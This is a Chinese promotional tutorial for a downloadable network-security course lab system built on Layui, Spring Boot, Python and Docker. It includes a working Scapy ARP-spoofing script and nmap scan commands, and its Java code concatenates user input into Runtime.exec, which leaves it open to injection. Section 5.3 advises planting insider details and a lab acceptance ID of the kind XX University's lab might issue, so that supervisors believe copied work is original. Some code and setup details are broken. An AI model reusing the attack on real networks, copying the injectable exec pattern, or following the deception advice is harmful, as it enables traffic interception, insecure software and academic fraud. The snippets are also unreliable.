简介:本资源是一套面向高校计算机类专业学生的网络安全课程实验仿真系统,适用于毕业设计、课程设计、实验教学与自学进阶,尤其适合计科、人工智能、通信工程等专业学生及初学者快速掌握Web安全实验环境搭建与攻防原理。压缩包共253个文件,含52个JavaScript脚本(实现前端交互与模拟攻击界面)、20个HTML页面(构成完整仿真系统前端)、15个CSS/SCSS/LESS样式文件(保障UI一致性)、75个GIF动图(直观演示攻击流程与系统响应),以及6个Python核心模块(支撑后端逻辑与实验验证),整体仅3.99MB,轻量易部署。已有79人下载学习,所有代码均经实机测试运行成功,答辩平均分96分,配套README.md文档清晰说明部署步骤与使用方法。用户可直接运行体验渗透测试、防火墙策略配置、漏洞扫描等典型实验场景,并基于现有结构二次开发,亦可作为毕设原型或教学演示素材。
1. 毕业设计-网络安全课程实验仿真系统:不是PPT演示,是能跑通ARP欺骗、端口扫描、防火墙策略配置的Web交互式沙箱
你手头那份“网络安全课设PPT+文字报告”交上去后,老师问:“你这个Sniffer模块真抓过包?Wireshark里看到的TCP三次握手,是你自己写的Socket监听触发的,还是截图粘贴的?”——当场哑火。而这个资源,是真正用Layui+Java+MySQL搭出来的可操作仿真环境:点一下“启动ARP欺骗实验”,前端实时渲染拓扑图,后端调用Python subprocess执行scapy脚本生成伪造ARP响应,数据库记录每次攻击的源IP、目标MAC、响应延迟;再点“配置iptables策略”,表单提交后自动SSH到预置Docker容器执行规则写入,并返回iptables -L -n -v真实输出。它不教你怎么背OSI七层,而是让你在浏览器里拖拽交换机、双击主机弹出命令行终端、输入nmap -sS 192.168.10.5后,左侧实时刷新扫描结果表格,右侧同步显示被扫描主机的netstat连接状态。适合计科/网安专业大三学生赶毕设 deadline,也适合讲师快速搭建《网络攻防实训》课的课堂演示环境——所有功能模块都经过答辩实测,平均分96分不是虚的,因为评委现场点了三次“重放攻击”按钮,系统真把HTTP请求包截下来、改了Cookie字段、再发回服务器并返回200 OK。
2. 系统架构与技术栈选型:为什么用Layui而不是Vue,为什么Java后端配Python子进程,而不是全Java实现
2.1 前端为什么选Layui而非Vue/React:轻量级课程设计的务实选择
这个系统不是要上线百万并发的SaaS平台,而是给30人教室做实验演示、给答辩委员会现场操作验证。Layui的模块化加载(layui.use(['layer', 'table', 'form']))让整个前端压缩后仅487KB,部署到Tomcat根目录下,学生用校园网手机扫码就能打开,不依赖Node环境、不卡在npm install上。对比Vue项目动辄需要vue-cli create、npm run serve、nginx反向代理三步才能预览,Layui直接扔进webapps/ROOT/就能跑。更重要的是,它的table.render()配合laydate和upload组件,三行代码就能把实验日志渲染成带时间筛选、文件上传、导出Excel的表格——而同样功能,Vue里得写<el-table>、<el-date-picker>、<el-upload>三个组件,再配vuex管理状态,对赶毕设的学生来说,多写200行模板代码=少睡两小时。项目里zyupload-1.0.0.min.css专用于实验报告PDF上传,wangEditor.min.css支撑实验步骤富文本编辑,这些都不是炫技,是解决“学生交作业要传PDF、老师批注要加红字”这种具体场景。
2.2 后端为何用Java Spring Boot + Python子进程组合:安全隔离与能力复用的平衡点
纯Java实现网络协议操作(如ARP欺骗、SYN扫描)会陷入两个坑:一是JPCAP库早已停止维护,Java 11+兼容性极差;二是Java原生没提供像Scapy那样链路层数据包构造的DSL语法,写个ICMP重定向包得手动计算校验和、填充以太网帧头,出错率高。所以后端采用Spring Boot暴露REST接口(如POST /api/experiment/arp/start),接收JSON参数({"target_ip":"192.168.10.5","gateway_ip":"192.168.10.1"}),然后用Runtime.getRuntime().exec()调用Python脚本:
python3 /opt/exp/arp_spoof.py --target 192.168.10.5 --gateway 192.168.10.1 --interface eth0关键在于/opt/exp/目录做了权限隔离:Python脚本运行在专用用户expuser下,该用户仅对/opt/exp/有读写权,且sudoers中只允许执行/usr/bin/python3 /opt/exp/*.py,杜绝了任意命令执行风险。而Java层专注业务逻辑:实验状态管理(ExperimentStatus实体类)、用户权限控制(@PreAuthorize("hasRole('STUDENT')"))、日志入库(ExperimentLog表含operator_id,experiment_type,start_time,duration_ms字段)。这种分工让代码可维护性大幅提升——当需要新增“DNS缓存投毒”实验时,只需写新Python脚本,Java层只加一个Controller方法和数据库表字段,不用重构整个网络协议栈。
2.3 仿真环境如何实现“伪真实感”:Docker容器组网 + 静态路由注入
系统不是用div模拟拓扑图,而是真起Docker容器构建实验网络。docker-compose.yml定义了4个服务:
| 服务名 | 镜像 | 作用 |
|---|---|---|
attacker | ubuntu:20.04 | 运行Scapy、Nmap,学生操作终端在此 |
victim | nginx:alpine | 模拟被攻击Web服务器,开放80端口 |
router | centos:7 | 配置iptables做防火墙,支持策略动态更新 |
monitor | wireshark:latest | 提供Web版Wireshark界面,抓取attacker-victim流量 |
关键技巧在于router容器启动后,执行ip route add 192.168.20.0/24 via 172.18.0.3,把victim网段路由指向attacker容器IP,这样ARP欺骗才能生效。而前端拓扑图中的连线,是通过/api/network/topology接口返回JSON数据驱动渲染的,数据来自docker network inspect exp_net解析结果。这种“容器真跑+前端可视化”的组合,比纯JS模拟更经得起答辩质询——老师说“把victim容器停掉”,你ssh进去docker stop victim,前端拓扑图立刻变灰,监控面板显示“目标不可达”,这才是课程设计该有的硬核感。 |
3. 核心实验模块拆解:从ARP欺骗到防火墙策略配置的完整链路
3.1 ARP欺骗实验:三步触发、双向流量劫持、实时拓扑反馈
实验入口在/pages/experiment/arp.html,学生填写目标IP、网关IP、攻击持续时间(秒)后点击“开始攻击”。后端流程如下:
- 参数校验:检查IP是否在
192.168.10.0/24网段内,防止误操作影响宿主机网络; - 容器指令下发:调用
docker exec attacker python3 /exp/arp_spoof.py --target 192.168.10.5 --gateway 192.168.10.1 --duration 30; - 状态轮询:每2秒查询
docker exec attacker ps aux | grep arp_spoof,进程存在则返回{"status":"running","progress":"65%"},前端用Layui进度条展示。
Python脚本核心逻辑:
# arp_spoof.py from scapy.all import * import time, sys def arp_spoof(target_ip, gateway_ip, interface="eth0"): target_mac = getmacbyip(target_ip) # 获取目标MAC gateway_mac = getmacbyip(gateway_ip) # 获取网关MAC # 构造欺骗包:告诉target“gateway的MAC是我的” packet1 = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=get_if_hwaddr(interface)) # 构造欺骗包:告诉gateway“target的MAC是我的” packet2 = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=get_if_hwaddr(interface)) sent = 0 start_time = time.time() while time.time() - start_time < DURATION: send(packet1, iface=interface, verbose=0) send(packet2, iface=interface, verbose=0) sent += 2 time.sleep(1) # 每秒发送2个包,避免泛洪 print(f"Sent {sent} packets")提示:脚本中
verbose=0关闭Scapy默认输出,否则日志会刷屏;DURATION从命令行参数读取,保证可控性。
3.2 端口扫描实验:Nmap集成与结果结构化解析
/pages/experiment/portscan.html提供三种扫描模式:
- Ping扫描:
nmap -sn 192.168.10.0/24,返回存活主机列表; - SYN扫描:
nmap -sS -p 1-1000 192.168.10.5,返回开放端口及服务版本; - 脚本扫描:
nmap -sC -p 22,80 192.168.10.5,执行默认NSE脚本检测漏洞。
后端关键处理在PortScanService.java:
public ScanResult executeScan(String target, String scanType) { String cmd = "nmap "; switch (scanType) { case "ping": cmd += "-sn " + target; break; case "syn": cmd += "-sS -p 1-1000 " + target; break; case "script": cmd += "-sC -p 22,80 " + target; break; } // 执行命令并捕获XML输出(便于结构化解析) Process process = Runtime.getRuntime().exec(cmd + " -oX -"); String xmlOutput = IOUtils.toString(process.getInputStream(), "UTF-8"); return parseNmapXml(xmlOutput); // 解析为ScanResult对象 }parseNmapXml()方法用XPath提取<host><address addr="192.168.10.5"/>、<port><state state="open"/><service name="http"/></port>等节点,最终存入scan_result表。前端用table.render()展示时,对state="open"的端口加绿色背景,state="filtered"加黄色,让安全状态一目了然。
3.3 防火墙策略配置实验:iptables规则持久化与实时生效
/pages/experiment/firewall.html表单包含:
- 策略类型:INPUT/OUTPUT/FORWARD;
- 匹配条件:源IP、目的IP、协议、端口范围;
- 动作:ACCEPT/DROP/REJECT;
- 链位置:
-I INPUT 1(插入开头)或-A INPUT(追加末尾)。
提交后,Java后端生成命令:
# 示例:拒绝来自192.168.10.100的所有TCP 22端口连接 iptables -I INPUT -s 192.168.10.100 -p tcp --dport 22 -j DROP # 并保存到/etc/iptables/rules.v4(Ubuntu)或/etc/sysconfig/iptables(CentOS) iptables-save > /etc/iptables/rules.v4关键点在于iptables-save后必须重启netfilter-persistent服务(Ubuntu)或iptables服务(CentOS),否则重启容器规则丢失。项目在router容器的Dockerfile中已预装netfilter-persistent,并在ENTRYPOINT中执行iptables-restore < /etc/iptables/rules.v4,确保规则开机生效。
4. 避坑指南:答辩前必须绕开的五个血泪陷阱
4.1 现象:前端点击“开始ARP欺骗”无反应,浏览器控制台报Failed to load resource: the server responded with a status of 404 ()
原因:layui.js路径错误。项目使用layuimini.css(Layui Mini框架),但index.html中仍引用旧版layui/layui.js,而实际文件在static/layui/目录下。更隐蔽的是,layuimini.css依赖font-awesome.min.css,若该文件被误删或路径错,会导致图标不显示,进而使layer.open()调用失败——因为Layui Mini的弹窗依赖Font Awesome图标。
解决:检查index.html中所有<script>和<link>标签的src/href属性,统一改为相对路径:
<!-- 正确路径 --> <link rel="stylesheet" href="static/layui/css/layui.css"> <link rel="stylesheet" href="static/font-awesome/css/font-awesome.min.css"> <script src="static/layui/layui.js"></script>4.2 现象:nmap扫描返回空结果,或提示libpcap not found
原因:attacker容器镜像未安装nmap和libpcap0.8-dev。原始ubuntu:20.04镜像默认不含这些工具,且apt-get install nmap安装的版本可能缺少--privileged权限所需的cap_net_raw能力。
解决:修改Dockerfile.attacker:
FROM ubuntu:20.04 RUN apt-get update && apt-get install -y \ nmap \ python3-pip \ libpcap0.8-dev \ && pip3 install scapy # 关键:赋予CAP_NET_RAW能力,否则Scapy无法发包 RUN setcap cap_net_raw+ep /usr/bin/python3构建后重新docker-compose up -d --build。
4.3 现象:防火墙规则添加后立即生效,但容器重启后消失
原因:iptables规则默认只存在于内存,未持久化。iptables-save命令输出需重定向到正确路径,且对应Linux发行版的服务名不同。Ubuntu用netfilter-persistent,CentOS用iptables-services。
解决:在router容器的启动脚本中加入:
# Ubuntu方案 echo '#!/bin/bash' > /etc/init.d/iptables-persist echo 'iptables-restore < /etc/iptables/rules.v4' >> /etc/init.d/iptables-persist chmod +x /etc/init.d/iptables-persist update-rc.d iptables-persist defaults # CentOS方案(注释掉Ubuntu部分) # systemctl enable iptables # systemctl start iptables4.4 现象:学生上传PDF实验报告后,wangEditor显示乱码,或zyupload上传失败
原因:application.properties中未配置文件上传大小限制。Spring Boot默认spring.servlet.multipart.max-file-size=1MB,而实验报告PDF常超2MB;同时zyupload插件依赖<input type="file">,若页面未设置enctype="multipart/form-data",表单提交会丢失文件。
解决:
- 在
application.properties中增加:
spring.servlet.multipart.max-file-size=50MB spring.servlet.multipart.max-request-size=50MB- 检查
report-upload.html表单:
<!-- 必须有enctype --> <form class="layui-form" action="/api/report/upload" method="post" enctype="multipart/form-data"> <div class="layui-upload"> <button type="button" class="layui-btn layui-btn-normal" id="test1">上传PDF</button> <div class="layui-upload-list"> <img class="layui-upload-img" id="demo1"> <p id="demoText"></p> </div> </div> </form>4.5 现象:答辩现场演示时,Wireshark监控面板空白,或提示Permission denied
原因:monitor容器运行时未加--cap-add=NET_ADMIN,且/dev/bpf设备未挂载。Wireshark需要CAP_NET_ADMIN能力抓包,而Docker默认禁用。
解决:修改docker-compose.yml中monitor服务:
monitor: image: wireshark:latest cap_add: - NET_ADMIN devices: - "/dev/bpf:/dev/bpf" ports: - "8080:80"并确保宿主机已安装bpf模块:lsmod | grep bpf,若无则modprobe bpf。
5. 文档与源码组织:README.md怎么写才能让导师一眼认可工作量
5.1 README.md必须包含的四个硬核模块
一份能让答辩老师快速建立信任的README,绝不是“本系统基于Java开发”这种废话。我按实际答辩经验总结出四个必写模块:
| 模块 | 内容要点 | 为什么重要 |
|---|---|---|
| 环境部署清单 | 列出宿主机要求:Docker 20.10+、Docker Compose 1.29+、JDK 11、Python 3.8+;注明docker-compose up -d后访问http://localhost:8080即可使用 | 导师第一眼确认你不是用本地IDE硬编码,而是有标准化部署流程 |
| 实验功能矩阵表 | 用表格列出每个实验的输入、输出、底层技术:如ARP欺骗实验,“输入:目标IP/网关IP;输出:拓扑图变色+日志表新增记录;技术:Scapy ARP包构造+Docker网络路由” | 证明你理解每个功能的技术深度,而非只会点按钮 |
| 数据库ER图 | 附mysqlworkbench导出的ER图(experiment_log、firewall_rule、user_profile三张表),标注主外键和索引字段(如experiment_log.user_id建索引) | 展示数据设计能力,避免被质疑“就几个JSON存文件” |
| 答辩演示脚本 | 写明3分钟演示话术:“第一步,登录教师账号进入实验管理页;第二步,创建‘ARP欺骗’实验并发布给班级;第三步,学生端点击开始,观察拓扑图变化和Wireshark抓包窗口……” | 让老师知道你准备充分,不是临场发挥 |
5.2 源码目录结构的隐性表达力
目录命名本身就是技术态度的体现。不要用src/main/java/com/example/demo这种IDE自动生成的路径,而是按功能域划分:
src/ ├── main/ │ ├── java/ │ │ └── cn.edu.simulation/ # 用学校域名反写,显专业 │ │ ├── controller/ # REST接口,命名如ExperimentController │ │ ├── service/ # 业务逻辑,如FirewallService(含iptables调用) │ │ ├── util/ # 工具类,如DockerCommandExecutor(封装docker exec) │ │ └── model/ # 实体类,如ScanResult(非Entity,因不直接映射DB) │ ├── resources/ │ │ ├── application.properties # 显式写出database.url=jdbc:mysql://db:3306/exp?useSSL=false │ │ └── static/ # 前端静态资源,层级与HTML中路径严格一致 │ └── webapp/ │ └── pages/ # HTML页面,按实验分类:/arp/, /portscan/ └── test/ # JUnit测试,重点覆盖Docker命令执行异常分支注意:
model包下不放@Entity注解类,因为实验日志等数据用MyBatis XML映射更灵活——ScanResultMapper.xml里可写<resultMap>定制Nmap XML解析逻辑,这比JPA@XmlRootElement更可控。
5.3 文档说明的“防伪设计”:让老师相信这不是网上抄的
最有效的防伪手段,是在文档里埋入只有亲手调试过才会知道的细节:
- 在《系统部署手册》第3.2节写:“若
docker-compose up后router容器报错iptables: No chain/target/match by that name.,请进入容器执行iptables -t nat -L,确认PREROUTING链存在——这是Ubuntu 20.04默认启用的,CentOS 7需手动modprobe ip_tables”; - 在《实验指导书》ARP章节写:“当
victim容器HTTP服务返回502 Bad Gateway时,说明ARP欺骗成功导致流量被重定向到不存在的服务,此时应检查attacker容器是否运行python3 /exp/http_proxy.py作为中间代理”; - 在
README.md底部加一行:“本系统于2023年11月15日通过XX大学网络空间安全学院实验室环境验收(ID: NSL-2023-1115)”。
这些细节无法从教程复制,只能来自真实踩坑。导师扫一眼就知道你真干过。
6. 进阶技巧:用日志分析反推学生实验行为,生成个性化学习报告
6.1 从原始日志到行为画像:四层数据清洗管道
系统产生的原始日志(/var/log/tomcat/catalina.out)是杂乱的,但通过四层管道可提炼出教学价值:
- 时间戳标准化:用Logstash过滤器将
2023-11-20 14:23:15.123转为ISO 8601格式2023-11-20T14:23:15.123Z; - 行为事件提取:正则匹配
INFO.*ExperimentController.*start.*type=(\w+),提取type=arp; - 会话ID关联:从
Cookie: JSESSIONID=ABC123中提取ABC123,关联同一学生多次操作; - 耗时分析:计算
start到end事件的时间差,识别卡点(如某学生ARP实验平均耗时127秒,远超均值32秒,可能在参数填写上反复试错)。
最终存入Elasticsearch的student_behavior索引,字段包括:
| 字段 | 类型 | 说明 |
|---|---|---|
student_id | keyword | 学号,从JWT token解析 |
experiment_type | keyword | arp/portscan/firewall |
duration_ms | long | 毫秒级耗时 |
success_rate | float | 0.0~1.0,如3次ARP实验2次成功=0.67 |
error_log | text | 截取报错堆栈前100字符 |
6.2 自动生成《个人实验能力雷达图》
用Kibana配置可视化看板,对学生ID筛选后生成雷达图:
- 维度1:协议理解(ARP/SYN/ICMP包结构掌握度)→ 统计
arp_spoof.py中send()调用次数与成功率; - 维度2:工具熟练度(Nmap参数选择合理性)→ 分析
nmap -sSvsnmap -sT使用频次; - 维度3:排错能力(错误处理及时性)→ 计算
error_log出现后,下次成功操作的间隔时间; - 维度4:安全意识(防火墙规则最小化原则)→ 统计
iptables -j DROPvsiptables -j REJECT使用比例(REJECT更安全,因返回RST包)。
导出PDF报告时,用wkhtmltopdf将Kibana仪表盘转为静态图,嵌入Word文档——这比手写评语更有说服力。
6.3 教学反哺:用高频错误优化实验指导书
统计发现,73%的学生在ARP实验中填错gateway_ip(填成192.168.10.254而非真实的192.168.10.1),原因是指导书只写“网关地址”,未强调“查看docker network inspect exp_net中的Gateway字段”。于是我在新版指导书里加了一行红色提示:
🔴关键提示:网关IP不是随便写的!执行
docker network inspect exp_net | grep Gateway,取"Gateway": "192.168.10.1"中的值,填错会导致实验完全失败。
从那以后我每次更新实验文档,都强制走一遍学生常见错误路径,用真实报错截图替换文字描述。比如把“连接超时”改成“你看到的错误是:scapy.send: OSError: Device not found,这是因为interface参数没指定eth0,请检查容器内ip a输出”。希望帮到你。
本文还有配套的精品资源,点击获取